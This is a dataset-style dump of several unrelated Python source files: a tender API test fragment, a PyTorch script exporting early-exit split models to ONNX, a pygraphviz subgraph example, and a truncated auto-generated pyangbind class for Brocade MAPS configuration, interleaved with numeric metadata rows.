response = self.app.patch_json(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
{"data": {"description": "document description"}},
)
self.assertEqual(response.status, "200 OK")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(doc_id, response.json["data"]["id"])
response = self.app.post_json(
"/tenders/{}/cancellations?acc_token={}".format(self.tender_id, self.tender_token),
{
"data": {
"reason": "cancellation reason",
"status": "active",
"cancellationOf": "lot",
"relatedLot": self.initial_lots[0]["id"],
}
},
)
response = self.app.patch_json(
"/tenders/{}/contracts/{}/documents/{}?acc_token={}".format(
self.tender_id, self.contract_id, doc_id, self.tender_token
),
{"data": {"description": "new document description"}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["errors"][0]["description"], "Can update document only in active lot status")
| 43.144222 | 119 | 0.64522 | 5,665 | 49,659 | 5.540512 | 0.038129 | 0.142894 | 0.20518 | 0.089464 | 0.934686 | 0.924714 | 0.915443 | 0.904706 | 0.891484 | 0.886864 | 0 | 0.01526 | 0.177873 | 49,659 | 1,150 | 120 | 43.181739 | 0.753539 | 0.003081 | 0 | 0.699399 | 0 | 0 | 0.287394 | 0.08101 | 0 | 0 | 0 | 0 | 0.313627 | 1 | 0.016032 | false | 0 | 0.004008 | 0 | 0.02004 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
82f09aa73fe781698f4fa0075d5bfa6537287801 | 23,470 | py | Python | Inference/src/exit_placement/model_export_v2.py | ZSL98/ETBA | 618317698adb9e372fb11dc0c3a01f856e0759b0 | [
"MIT"
] | 1 | 2021-12-01T15:22:44.000Z | 2021-12-01T15:22:44.000Z | Inference/src/exit_placement/model_export_v2.py | ZSL98/ETBA | 618317698adb9e372fb11dc0c3a01f856e0759b0 | [
"MIT"
] | null | null | null | Inference/src/exit_placement/model_export_v2.py | ZSL98/ETBA | 618317698adb9e372fb11dc0c3a01f856e0759b0 | [
"MIT"
] | null | null | null | import torch
import torch.nn as nn
from networks_v2 import resnet_s1, resnet_s2, posenet_s1, posenet_s2, backbone_s2, backbone_s3, backbone_init
from transformers import Wav2Vec2FeatureExtractor, Wav2Vec2Processor, Wav2Vec2CTCTokenizer
from wav2vec2_model import Wav2Vec2_with_exit_s1, Wav2Vec2_with_exit_s2, Wav2Vec2_with_dual_exit
from modeling_bert import BertWithExit_s1, BertWithExit_s2, BertWithDualExit
from ocrnet_with_exit import SpatialOCRNet_s1, SpatialOCRNet_s2, SpatialOCRNet
import torchvision.models as models
import copy
model = models.resnet101(pretrained=True)
class construct_net(object):
def __init__(self, begin_point: int = 0, split_point: int = 0, backbone: str = 'resnet') -> None:
super().__init__()
self.backbone = backbone
self.begin_point = begin_point
self.split_point = split_point
def construct_net_init(self):
if self.backbone == 'resnet' or self.backbone == 'posenet':
return backbone_init(layers=[3, 4, 23, 3],
split_point_s1=self.begin_point,
split_point_s2=self.begin_point,
split_point_s3=self.begin_point)
def construct_net_s1(self):
if self.backbone == 'resnet':
if self.begin_point == 0:
return resnet_s1(layers=[3, 4, 23, 3],
begin_point=self.begin_point,
split_point_s1=self.split_point,
split_point_s2=self.split_point,
split_point_s3=self.split_point,
is_init=True)
else:
return resnet_s1(layers=[3, 4, 23, 3],
begin_point=self.begin_point,
split_point_s1=self.split_point,
split_point_s2=self.split_point,
split_point_s3=self.split_point,
is_init=False)
elif self.backbone == 'posenet':
if self.begin_point == 0:
return posenet_s1(layers=[3, 4, 23, 3],
begin_point=self.begin_point,
split_point_s1=self.split_point,
split_point_s2=self.split_point,
split_point_s3=self.split_point,
is_init=True)
else:
return posenet_s2(layers=[3, 4, 23, 3],
begin_point=self.begin_point,
split_point_s1=self.split_point,
split_point_s2=self.split_point,
split_point_s3=self.split_point,
is_init=False)
elif self.backbone == 'bert':
if self.begin_point == 0:
model = BertWithExit_s1.from_pretrained('bert-base-uncased')
model.add_exit(start_point=self.split_point, end_point=self.split_point)
return model
else:
model = BertWithDualExit.from_pretrained('bert-base-uncased')
model.add_exit(num_hidden_layers=self.split_point)
return model
elif self.backbone == 'Wav2Vec2':
tokenizer = Wav2Vec2CTCTokenizer("/home/slzhang/projects/ETBA/Inference/src/exit_placement/vocab.json",
unk_token="[UNK]", pad_token="[PAD]", word_delimiter_token="|")
feature_extractor = Wav2Vec2FeatureExtractor(feature_size=1, sampling_rate=16000, padding_value=0.0, do_normalize=True, return_attention_mask=False)
processor = Wav2Vec2Processor(feature_extractor=feature_extractor, tokenizer=tokenizer)
if self.begin_point == 0:
model_CTC = Wav2Vec2_with_exit_s1.from_pretrained(
"facebook/wav2vec2-base",
gradient_checkpointing=True,
ctc_loss_reduction="mean",
pad_token_id=processor.tokenizer.pad_token_id,
)
model_CTC.add_exit(start_point=self.split_point, end_point=self.split_point)
else:
model_CTC = Wav2Vec2_with_dual_exit.from_pretrained(
"facebook/wav2vec2-base",
gradient_checkpointing=True,
ctc_loss_reduction="mean",
pad_token_id=processor.tokenizer.pad_token_id,
)
model_CTC.add_exit(num_hidden_layers=self.split_point)
return model_CTC
elif self.backbone == 'openseg':
return SpatialOCRNet_s1(self.start_point)
def construct_net_s2(self):
if self.backbone == 'resnet':
return resnet_s2(layers=[3, 4, 23, 3],
begin_point=self.begin_point,
split_point_s1=self.split_point,
split_point_s2=self.split_point,
split_point_s3=self.split_point,
)
elif self.backbone == 'posenet':
return posenet_s2(layers=[3, 4, 23, 3],
begin_point=self.begin_point,
split_point_s1=self.split_point,
split_point_s2=self.split_point,
split_point_s3=self.split_point,
)
elif self.backbone == 'bert':
model = BertWithExit_s2.from_pretrained('bert-base-uncased')
model.add_exit(end_point=self.begin_point+self.split_point)
return model
elif self.backbone == 'Wav2Vec2':
tokenizer = Wav2Vec2CTCTokenizer("/home/slzhang/projects/ETBA/Inference/src/exit_placement/vocab.json",
unk_token="[UNK]", pad_token="[PAD]", word_delimiter_token="|")
feature_extractor = Wav2Vec2FeatureExtractor(feature_size=1, sampling_rate=16000, padding_value=0.0, do_normalize=True, return_attention_mask=False)
processor = Wav2Vec2Processor(feature_extractor=feature_extractor, tokenizer=tokenizer)
model_CTC = Wav2Vec2_with_exit_s2.from_pretrained(
"facebook/wav2vec2-base",
gradient_checkpointing=True,
ctc_loss_reduction="mean",
pad_token_id=processor.tokenizer.pad_token_id,
)
model_CTC.add_exit(end_point=self.begin_point+self.split_point)
return model_CTC
elif self.backbone == 'openseg':
return SpatialOCRNet_s2(self.start_point)
def construct_net_s3(self):
if self.backbone == 'resnet' or self.backbone == 'posenet':
return backbone_s3(layers=[3, 4, 23, 3],
split_point_s1=self.split_point_s1,
split_point_s2=self.split_point_s2,
split_point_s3=self.split_point_s3
)
def model_export_func(model_name, begin_point, split_point, exit_type=False):
inst = construct_net(begin_point=begin_point, split_point=split_point, backbone = model_name)
# dummy_input1 = torch.randn(1, 3, 513, 513)
if inst.backbone == "resnet":
dummy_input1 = torch.randn(1, 3, 224, 224)
if begin_point != 0:
model_init = inst.construct_net_init()
model_init.eval()
dummy_input1 = model_init(dummy_input1)
dummy_input1 = dummy_input1[0]
elif inst.backbone == "posenet":
dummy_input1 = torch.randn(1, 3, 384, 384)
if begin_point != 0:
model_init = inst.construct_net_init()
model_init.eval()
dummy_input1 = model_init(dummy_input1)
dummy_input1 = dummy_input1[0]
elif inst.backbone == "openseg":
dummy_input1 = torch.randn(1, 3, 1024, 2048)
# dummy_input1 = torch.randn(1, 3, 384, 384)
elif inst.backbone == "Wav2Vec2":
dummy_input1 = torch.randn(1, 10000)
if begin_point != 0:
dummy_input1 = torch.randn(1, 31, 768)
s1_model = inst.construct_net_s1()
s1_model.eval()
if inst.backbone == "resnet":
dummy_input2 = s1_model(dummy_input1)
dummy_input2 = dummy_input2[0]
elif inst.backbone == "posenet":
dummy_input2, x_exit = s1_model(dummy_input1)
# dummy_input2 = dummy_input2[0]
elif inst.backbone == "Wav2Vec2":
dummy_input2 = torch.randn(1, 31, 768)
elif inst.backbone == "openseg":
# x_dsn, x, x_moveon = s1_model(dummy_input1)
dummy_input2 = torch.randn(1, 1024, 129, 257)
# dummy_input2 = torch.randn(1, 1024, 48, 48)
# print(x_moveon.shape)
s2_model = inst.construct_net_s2()
s2_model.eval()
# tmp_model = SpatialOCRNet()
# tmp_model = model
# s2_input_names = ["input"]
# # s2_output_names = ["output_dsn", "output"]
# s2_output_names = ["output"]
# torch.onnx.export(tmp_model, dummy_input1,
# "/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s0.onnx",
# input_names=s2_input_names, output_names=s2_output_names,
# verbose=False,dynamic_axes={
# 'input': {0: 'batch_size'},
# 'output': {0: 'batch_size'},
# # 'output': {0: 'batch_size'},
# },opset_version=11)
# exit()
print("Begin point: " + str(begin_point))
print("Split point: " + str(split_point))
# print(dummy_input1.shape)
# print(dummy_input2.shape)
if inst.backbone == "resnet" or inst.backbone == "posenet" or inst.backbone == "Wav2Vec2":
s1_input_names = ["input"]
s1_output_names = ["output1", "exit_output"]
torch.onnx.export(s1_model, dummy_input1,
"/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s1.onnx",
input_names=s1_input_names, output_names=s1_output_names,
verbose=False,dynamic_axes={
'input': {0: 'batch_size'},
'output1': {0: 'batch_size'},
'exit_output': {0: 'batch_size'},
},opset_version=11)
s2_input_names = ["input"]
s2_output_names = ["final_output"]
torch.onnx.export(s2_model, dummy_input2,
"/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s2.onnx",
input_names=s2_input_names, output_names=s2_output_names,
verbose=False,dynamic_axes={
'input': {0: 'batch_size'},
'final_output': {0: 'batch_size'},
},opset_version=11)
elif inst.backbone == "openseg":
s1_input_names = ["input"]
# s1_output_names = ["output_dsn", "output", "x_moveon"]
s1_output_names = ["output_dsn", "output"]
torch.onnx.export(s1_model, dummy_input1,
"/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s1.onnx",
input_names=s1_input_names, output_names=s1_output_names,
verbose=False,dynamic_axes={
'input': {0: 'batch_size'},
'output_dsn': {0: 'batch_size'},
'output': {0: 'batch_size'},
# 'x_moveon': {0: 'batch_size'},
},opset_version=11)
s2_input_names = ["input"]
s2_output_names = ["output_dsn", "output"]
torch.onnx.export(s2_model, dummy_input2,
"/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s2.onnx",
input_names=s2_input_names, output_names=s2_output_names,
verbose=False,dynamic_axes={
'input': {0: 'batch_size'},
'output_dsn': {0: 'batch_size'},
'output': {0: 'batch_size'},
},opset_version=11)
elif inst.backbone == "bert":
from transformers.convert_graph_to_onnx import load_graph_from_args, infer_shapes, ensure_valid_input
pipeline_name = "feature-extraction"
framework = "pt"
model_name = "bert-base-uncased"
tokenizer = "bert-base-uncased"
nlp = load_graph_from_args(pipeline_name, framework, model_name, tokenizer)
input_names, output_names, dynamic_axes, tokens = infer_shapes(nlp, "pt")
ordered_input_names, s1_model_args = ensure_valid_input(nlp.model, tokens, input_names)
dynamic_axes.pop('output_0')
dynamic_axes.pop('output_1')
if begin_point == 0:
s1_output_names = ["output1", "exit_output"]
s1_dynamic_axes = copy.deepcopy(dynamic_axes)
s1_dynamic_axes['output1'] = {0: 'batch', 1: 'sequence'}
s1_dynamic_axes['exit_output'] = {0: 'batch'}
torch.onnx.export(
s1_model,
s1_model_args,
f="/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s1.onnx",
input_names=ordered_input_names,
output_names=s1_output_names,
dynamic_axes=s1_dynamic_axes,
do_constant_folding=True,
enable_onnx_checker=True,
opset_version=11,
)
else:
s1_output_names = ["output1", "exit_output"]
s1_dynamic_axes = copy.deepcopy(dynamic_axes)
s1_dynamic_axes.pop('token_type_ids')
s1_dynamic_axes['output1'] = {0: 'batch', 1: 'sequence'}
s1_dynamic_axes['exit_output'] = {0: 'batch'}
s1_model_args = (torch.Tensor(1, 7, 768), torch.Tensor(1, 7))
torch.onnx.export(
s1_model,
s1_model_args,
f="/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s1.onnx",
input_names=ordered_input_names[:2],
output_names=s1_output_names,
dynamic_axes=s1_dynamic_axes,
do_constant_folding=True,
enable_onnx_checker=True,
opset_version=11,
)
s2_output_names = ["final_output"]
s2_dynamic_axes = copy.deepcopy(dynamic_axes)
s2_dynamic_axes.pop('token_type_ids')
s2_dynamic_axes['final_output'] = {0: 'batch'}
s2_model_args = (torch.Tensor(1, 7, 768), torch.Tensor(1, 7))
torch.onnx.export(
s2_model,
s2_model_args,
f="/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s2.onnx",
input_names=ordered_input_names[:2],
output_names=s2_output_names,
dynamic_axes=s2_dynamic_axes,
do_constant_folding=True,
enable_onnx_checker=True,
opset_version=11,
)
# elif inst.backbone == "Wav2Vec2":
# pass
def model_export_func_backup(model_name, split_point_s1, split_point_s2, split_point_s3):
inst = construct_net(split_point_s1=split_point_s1, split_point_s2=split_point_s2, split_point_s3=split_point_s3, backbone = model_name)
# dummy_input1 = torch.randn(1, 3, 513, 513)
if inst.backbone == "resnet" or inst.backbone == "posenet":
dummy_input1 = torch.randn(1, 3, 224, 224)
elif inst.backbone == "openseg":
dummy_input1 = torch.randn(1, 3, 1024, 2048)
# dummy_input1 = torch.randn(1, 3, 384, 384)
elif inst.backbone == "Wav2Vec2":
dummy_input1 = torch.randn(1, 10000)
s1_model = inst.construct_net_s1()
s1_model.eval()
if inst.backbone == "resnet":
dummy_input2 = s1_model(dummy_input1)
dummy_input2 = dummy_input2[0]
elif inst.backbone == "posenet":
dummy_input2, x_exit = s1_model(dummy_input1)
# dummy_input2 = dummy_input2[0]
elif inst.backbone == "Wav2Vec2":
dummy_input2 = torch.randn(1, 624, 768)
elif inst.backbone == "openseg":
# x_dsn, x, x_moveon = s1_model(dummy_input1)
dummy_input2 = torch.randn(1, 1024, 129, 257)
# dummy_input2 = torch.randn(1, 1024, 48, 48)
# print(x_moveon.shape)
s2_model = inst.construct_net_s2()
s2_model.eval()
if inst.backbone == "resnet" or inst.backbone == "posenet":
dummy_input3 = s2_model(dummy_input2)
elif inst.backbone == "Wav2Vec2":
dummy_input3 = torch.randn(1, 624, 768)
elif inst.backbone == "openseg":
# x_dsn, x, x_moveon = s1_model(dummy_input1)
dummy_input3 = torch.randn(1, 1024, 129, 257)
# dummy_input2 = torch.randn(1, 1024, 48, 48)
# print(x_moveon.shape)
s3_model = inst.construct_net_s3()
s3_model.eval()
print("split_point_s1: " + str(split_point_s1))
print("split_point_s2: " + str(split_point_s2))
print("split_point_s3: " + str(split_point_s3))
# print(dummy_input1.shape)
# print(dummy_input2.shape)
if inst.backbone == "resnet" or inst.backbone == "posenet" or inst.backbone == "Wav2Vec2":
s1_input_names = ["input"]
s1_output_names = ["output1", "exit_output"]
torch.onnx.export(s1_model, dummy_input1,
"/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s1.onnx",
input_names=s1_input_names, output_names=s1_output_names,
verbose=False,dynamic_axes={
'input': {0: 'batch_size'},
'output1': {0: 'batch_size'},
'exit_output': {0: 'batch_size'},
},opset_version=11)
s2_input_names = ["input"]
s2_output_names = ["trans_output"]
torch.onnx.export(s2_model, dummy_input2,
"/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s2.onnx",
input_names=s2_input_names, output_names=s2_output_names,
verbose=False,dynamic_axes={
'input': {0: 'batch_size'},
'final_output': {0: 'batch_size'},
},opset_version=11)
s3_input_names = ["trans_input"]
s3_output_names = ["final_output"]
torch.onnx.export(s3_model, dummy_input3,
"/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s3.onnx",
input_names=s3_input_names, output_names=s3_output_names,
verbose=False,dynamic_axes={
'trans_input': {0: 'batch_size'},
'final_output': {0: 'batch_size'},
},opset_version=11)
elif inst.backbone == "openseg":
s1_input_names = ["input"]
# s1_output_names = ["output_dsn", "output", "x_moveon"]
s1_output_names = ["output_dsn", "output"]
torch.onnx.export(s1_model, dummy_input1,
"/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s1.onnx",
input_names=s1_input_names, output_names=s1_output_names,
verbose=False,dynamic_axes={
'input': {0: 'batch_size'},
'output_dsn': {0: 'batch_size'},
'output': {0: 'batch_size'},
# 'x_moveon': {0: 'batch_size'},
},opset_version=11)
s2_input_names = ["input"]
s2_output_names = ["output_dsn", "output"]
torch.onnx.export(s2_model, dummy_input2,
"/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s2.onnx",
input_names=s2_input_names, output_names=s2_output_names,
verbose=False,dynamic_axes={
'input': {0: 'batch_size'},
'output_dsn': {0: 'batch_size'},
'output': {0: 'batch_size'},
},opset_version=11)
elif inst.backbone == "bert":
from transformers.convert_graph_to_onnx import load_graph_from_args, infer_shapes, ensure_valid_input
pipeline_name = "feature-extraction"
framework = "pt"
model_name = "bert-base-uncased"
tokenizer = "bert-base-uncased"
nlp = load_graph_from_args(pipeline_name, framework, model_name, tokenizer)
input_names, output_names, dynamic_axes, tokens = infer_shapes(nlp, "pt")
ordered_input_names, s1_model_args = ensure_valid_input(nlp.model, tokens, input_names)
dynamic_axes.pop('output_0')
dynamic_axes.pop('output_1')
s1_output_names = ["output1", "exit_output"]
s1_dynamic_axes = copy.deepcopy(dynamic_axes)
s1_dynamic_axes['output1'] = {0: 'batch', 1: 'sequence'}
s1_dynamic_axes['exit_output'] = {0: 'batch'}
torch.onnx.export(
s1_model,
s1_model_args,
f="/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s1.onnx",
input_names=ordered_input_names,
output_names=s1_output_names,
dynamic_axes=s1_dynamic_axes,
do_constant_folding=True,
enable_onnx_checker=True,
opset_version=11,
)
s2_output_names = ["final_output"]
s2_dynamic_axes = copy.deepcopy(dynamic_axes)
s2_dynamic_axes.pop('token_type_ids')
s2_dynamic_axes['final_output'] = {0: 'batch'}
s2_model_args = (torch.Tensor(1, 7, 768), torch.Tensor(1, 7))
torch.onnx.export(
s2_model,
s2_model_args,
f="/home/slzhang/projects/ETBA/Inference/src/exit_placement/models/" + inst.backbone + "_s2.onnx",
input_names=ordered_input_names[:2],
output_names=s2_output_names,
dynamic_axes=s2_dynamic_axes,
do_constant_folding=True,
enable_onnx_checker=True,
opset_version=11,
)
# elif inst.backbone == "Wav2Vec2":
# pass
if __name__ == '__main__':
model_export_func('resnet', 0, 2) | 47.99591 | 160 | 0.558074 | 2,569 | 23,470 | 4.75905 | 0.070066 | 0.062163 | 0.034353 | 0.031981 | 0.886553 | 0.86177 | 0.838541 | 0.835106 | 0.817847 | 0.803533 | 0 | 0.044499 | 0.339327 | 23,470 | 489 | 161 | 47.99591 | 0.74397 | 0.067661 | 0 | 0.783163 | 0 | 0 | 0.123678 | 0.050185 | 0 | 0 | 0 | 0 | 0 | 1 | 0.017857 | false | 0 | 0.028061 | 0 | 0.086735 | 0.012755 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9644774128e382e30afab914b50858664b8fffd0 | 3,716 | py | Python | nltk/topology/pygraphviz/graphviz.py | kruskod/nltk | dba7b5431b1d57a75d50e048961c1a203b98c3da | [
"Apache-2.0"
] | 1 | 2015-11-25T00:47:58.000Z | 2015-11-25T00:47:58.000Z | nltk/topology/pygraphviz/graphviz.py | kruskod/nltk | dba7b5431b1d57a75d50e048961c1a203b98c3da | [
"Apache-2.0"
] | null | null | null | nltk/topology/pygraphviz/graphviz.py | kruskod/nltk | dba7b5431b1d57a75d50e048961c1a203b98c3da | [
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python
# from __future__ import absolute_import
# from __future__ import unicode_literals
# from __future__ import print_function
# from __future__ import division
import pygraphviz as pgv
def subgraph_example():
# strict (no parallel edges)
# digraph
# with attribute rankdir set to 'LR'
A=pgv.AGraph(directed=False,strict=True,rankdir='TD', shape='none', splines='spline',smoothing=True, outputMode='edgesfirst')
# add node 1 with color red
A.add_node(0,color='red')
#A.add_node(5,color='blue')
sg1 = A.add_subgraph(name="cluster1",
style='filled',
#color='lightgrey',
label = 'main'
)
sg1.add_node(1,label = "F1")
sg1.add_node(2, label = 'F2')
sg1.add_node(3)
sg2 = A.add_subgraph( name="cluster2",
style='filled',
#color='lightgrey',
label = 'inf'
)
sg2.add_node(4)
sg2.add_node(5)
# sg1.graph_attr['style']='filled'
# node [style=filled];
# b0 -> b1 -> b2 -> b3;
# label = "process #2";
# color=blue
# add some edges
#
A.add_edge(0,1)
A.add_edge(0,2)
A.add_edge(0,3)
A.add_edge(2,4, color='green')
A.add_edge(2,5)
A.add_edge(5,0)
# sg2.add_edge(5,2)
# A.add_edge(1,4,color='green')
# A.add_edge(1,3)
# A.add_edge(1,3)
# sg1.add_edge(3,4)
# A.add_edge(3,5)
# A.add_edge(3,6)
# A.add_edge(4,6)
# sg2.add_edge(6,2)
# adjust a graph parameter
#A.graph_attr['epsilon']='0.001'
# A.node_attr['shape']='none'
A.node_attr['shape']='box'
A.node_attr['style']='rounded'
# A.graph_attr['shape']='box'
print(A.string()) # print dot file to standard output
A.layout('dot') # layout with dot
A.draw('foo.ps') # write to file
def elleipo_tree():
# strict (no parallel edges)
# digraph
# with attribute rankdir set to 'LR'
A=pgv.AGraph(directed=False,strict=True,rankdir='TD',shape='plaintext', splines='ortho',smoothing=True, outputMode='edgesfirst')
# add node 1 with color red
A.add_node(0,color='red', label="<Regular<SUB>subscript</SUB>>")
#A.add_node(5,color='blue')
sg1 = A.add_subgraph(name="cluster1",
style='filled',
#color='lightgrey',
label = 'main'
)
sg1.add_node(1,label = "F1")
sg1.add_node(2, label = 'F2')
sg1.add_node(3)
sg2 = A.add_subgraph( name="cluster2",
style='filled',
#color='lightgrey',
label = 'inf'
)
sg2.add_node(4)
sg2.add_node(5)
# sg1.graph_attr['style']='filled'
# node [style=filled];
# b0 -> b1 -> b2 -> b3;
# label = "process #2";
# color=blue
# add some edges
#
A.add_edge(0,1)
A.add_edge(0,2)
A.add_edge(0,3)
A.add_edge(2,4, color='green')
A.add_edge(2,5)
A.add_edge(5,0)
# sg2.add_edge(5,2)
# A.add_edge(1,4,color='green')
# A.add_edge(1,3)
# A.add_edge(1,3)
# sg1.add_edge(3,4)
# A.add_edge(3,5)
# A.add_edge(3,6)
# A.add_edge(4,6)
# sg2.add_edge(6,2)
# adjust a graph parameter
#A.graph_attr['epsilon']='0.001'
# A.node_attr['shape']='none'
# A.node_attr['shape']='box'
# A.node_attr['style']='rounded'
# A.graph_attr['shape']='box'
print(A.string()) # print dot file to standard output
A.layout('dot') # layout with dot
A.draw('foo.ps') # write to file
if __name__ == "__main__":
elleipo_tree()
#demo_simplifier()
#unify_demo()
# demo() | 25.805556 | 132 | 0.55409 | 538 | 3,716 | 3.656134 | 0.195167 | 0.065074 | 0.097611 | 0.027453 | 0.850025 | 0.850025 | 0.850025 | 0.850025 | 0.850025 | 0.850025 | 0 | 0.046425 | 0.281216 | 3,716 | 144 | 133 | 25.805556 | 0.690004 | 0.408235 | 0 | 0.727273 | 0 | 0 | 0.102022 | 0.013634 | 0 | 0 | 0 | 0 | 0 | 1 | 0.036364 | false | 0 | 0.018182 | 0 | 0.054545 | 0.036364 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
96462e53e6a1e74fe87ddf79d8465f753e0d50ae | 27,392 | py | Python | pybind/nos/v7_1_0/rbridge_id/maps/__init__.py | shivharis/pybind | 4e1c6d54b9fd722ccec25546ba2413d79ce337e6 | [
"Apache-2.0"
] | null | null | null | pybind/nos/v7_1_0/rbridge_id/maps/__init__.py | shivharis/pybind | 4e1c6d54b9fd722ccec25546ba2413d79ce337e6 | [
"Apache-2.0"
] | null | null | null | pybind/nos/v7_1_0/rbridge_id/maps/__init__.py | shivharis/pybind | 4e1c6d54b9fd722ccec25546ba2413d79ce337e6 | [
"Apache-2.0"
] | 1 | 2021-11-05T22:15:42.000Z | 2021-11-05T22:15:42.000Z |
from operator import attrgetter
import pyangbind.lib.xpathhelper as xpathhelper
from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType
from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType
from pyangbind.lib.base import PybindBase
from decimal import Decimal
from bitarray import bitarray
import __builtin__
import logicalgroup
import rule
import policy
import enable
import email
import relay
class maps(PybindBase):
"""
This class was auto-generated by the PythonClass plugin for PYANG
from YANG module brocade-rbridge - based on the path /rbridge-id/maps. Each member element of
the container is represented as a class variable - with a specific
YANG type.
"""
__slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__logicalgroup','__rule','__policy','__enable','__email','__relay',)
_yang_name = 'maps'
_rest_name = 'maps'
_pybind_generated_by = 'container'
def __init__(self, *args, **kwargs):
path_helper_ = kwargs.pop("path_helper", None)
if path_helper_ is False:
self._path_helper = False
elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper):
self._path_helper = path_helper_
elif hasattr(self, "_parent"):
path_helper_ = getattr(self._parent, "_path_helper", False)
self._path_helper = path_helper_
else:
self._path_helper = False
extmethods = kwargs.pop("extmethods", None)
if extmethods is False:
self._extmethods = False
elif extmethods is not None and isinstance(extmethods, dict):
self._extmethods = extmethods
elif hasattr(self, "_parent"):
extmethods = getattr(self._parent, "_extmethods", None)
self._extmethods = extmethods
else:
self._extmethods = False
self.__enable = YANGDynClass(base=enable.enable, is_container='container', presence=False, yang_name="enable", rest_name="enable", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure MAPS policy/actions', u'callpoint': u'maps_enable_policy_callpoint', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='container', is_config=True)
self.__relay = YANGDynClass(base=YANGListType("hostip",relay.relay, yang_name="relay", rest_name="relay", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='hostip', extensions={u'tailf-common': {u'info': u'Configure relay ip mail settings', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'cli-suppress-key-abbreviation': None, u'callpoint': u'maps_relay_callpoint'}}), is_container='list', yang_name="relay", rest_name="relay", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure relay ip mail settings', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'cli-suppress-key-abbreviation': None, u'callpoint': u'maps_relay_callpoint'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)
self.__rule = YANGDynClass(base=YANGListType("rulename",rule.rule, yang_name="rule", rest_name="rule", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='rulename', extensions={u'tailf-common': {u'info': u'Configure Rule', u'cli-suppress-mode': None, u'cli-full-no': None, u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsRule'}}), is_container='list', yang_name="rule", rest_name="rule", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Rule', u'cli-suppress-mode': None, u'cli-full-no': None, u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsRule'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)
self.__policy = YANGDynClass(base=YANGListType("policyname",policy.policy, yang_name="policy", rest_name="policy", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='policyname', extensions={u'tailf-common': {u'info': u'Configure Policy', u'callpoint': u'MapsPolicy'}}), is_container='list', yang_name="policy", rest_name="policy", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Policy', u'callpoint': u'MapsPolicy'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)
